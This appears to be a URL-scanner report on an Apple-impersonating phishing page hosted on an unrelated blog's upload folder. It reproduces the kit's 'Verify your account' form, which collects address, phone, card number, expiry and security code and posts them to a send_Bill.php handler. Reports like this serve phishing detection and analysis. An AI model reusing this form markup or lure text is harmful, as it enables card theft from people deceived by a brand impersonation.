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URL:
https://bankingstocksblog.com/wp-content/uploads/2024/01/adex/Bill
Submission: On April 15 via api from BY — Scanned from DE
Submission: On April 15 via api from BY — Scanned from DE
Form analysis
2 forms found in the DOMGET
<form method="get" href="#" class="ac-gn-searchform" id="ac-gn-searchform">
<div class="ac-gn-searchform-wrapper">
<input placeholder="Search apple.com" id="ac-gn-searchform-input" class="ac-gn-searchform-input" type="text">
<input id="ac-gn-searchform-src" type="hidden" name="src" value="globalnav">
<button class="ac-gn-searchform-submit" type="submit" id="ac-gn-searchform-submit"></button>
<button class="ac-gn-searchform-reset" type="reset" id="ac-gn-searchform-reset">
<span class="ac-gn-searchform-reset-background"></span>
</button>
</div>
</form>
Name: cardapp — POST ./system/send_Bill.php
<form class="column large-5 small-12 as-signin-returningcustomer" id="cardapp" name="cardapp" action="./system/send_Bill.php" method="post">
<fieldset>
<div class="as-signin-input">
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="addres" name="addres" class="form-textbox form-textbox-text" maxlength="120"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">Address Line</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="NameOnCardinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
<div class="multi equal clearfix">
<div class=" left">
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="City" name="City" class="form-textbox form-textbox-text" maxlength="120"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">City</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="NameOnCardinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
</div>
<div class="right">
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="State" name="State" class="form-textbox form-textbox-text" maxlength="120"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">State</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="NameOnCardinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
</div>
</div>
<br>
<br><br>
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="ZipCode" name="ZipCode" class="form-textbox form-textbox-text" maxlength="120"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">Zip Code</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="NameOnCardinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="phoneNumber" name="phoneNumber" class="form-textbox form-textbox-text" maxlength="120"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">Phone Number</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="NameOnCardinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
</div>
</fieldset>
<br><br>
<fieldset>
<div class="as-signin-input">
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="NameOnCard" name="NameOnCard" class="form-textbox form-textbox-text" maxlength="120" aria-required="true" aria-describedby="NameOnCardinputError"
aria-invalid="false"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">Name On Card</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="NameOnCardinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
<div class="dddd form-element ">
<input style="border-radius: 12px; background-position: 98.5% -0.2%;" required="" value="" type="text" id="cardnumber" name="cardnumber" class="form-textbox form-textbox-text" maxlength="120" aria-required="true"
aria-describedby="cardnumberinputError" aria-invalid="false"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">Card Number</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="cardnumberinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="ExpiryDate" name="ExpiryDate" class="form-textbox form-textbox-text" maxlength="120" aria-required="true" aria-describedby="ExpiryDateinputError"
aria-invalid="false"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">Expiry Date YY/MM</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="ExpiryDateinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
<div class="dddd form-element ">
<input style="border-radius: 12px;" required="" value="" type="text" id="SecurityCode" name="SecurityCode" class="form-textbox form-textbox-text" maxlength="120" aria-required="true" aria-describedby="SecurityCodeinputError"
aria-invalid="false"><span class="form-label">
<span id="loginHome.customerLogin.appleId-label">Security Code (CCV)</span></span>
<div>
<div id="loginHome.customerLogin.appleId-error" class="form-message-wrapper">
<span id="SecurityCodeinputError" class="is-error" style="display: none;"></span>
</div>
<div id="loginHome.customerLogin.appleId-warn" class="form-message-warning"></div>
</div>
</div>
</div>
</fieldset>
<div class="as-signin-button">
<input style="border-radius: 12px;background: #0071e3" required="" value="Continue" type="submit" class="button button-block form-button" aria-required="true">
</div>
</form>
Text Content
* Global Nav Open Menu Global Nav Close Menu * Apple * Shopping Bag Search apple.com Cancel * Apple * Mac * iPad * iPhone * Watch * TV * Music * Support * * Shopping Bag Cancel QUICK LINKS * Find a Store * Today at Apple * Accessories * AirPods * iPod 5 Quick Links VERIFY YOUR ACCOUNT. Address Line City State Zip Code Phone Number Name On Card Card Number Expiry Date YY/MM Security Code (CCV) Need more help? Chat now or call 1‑800‑MY‑APPLE. The Apple Online Store uses industry-standard encryption to protect the confidentiality of the information you submit. Learn more about our Security Policy. Security Policy. More ways to shop: Visit an Apple Store, call 1‑800‑MY‑APPLE, or find a reseller. United States Copyright © 2022 Apple Inc. All rights reserved. Privacy Policy Terms of Use Sales and Refunds Site Map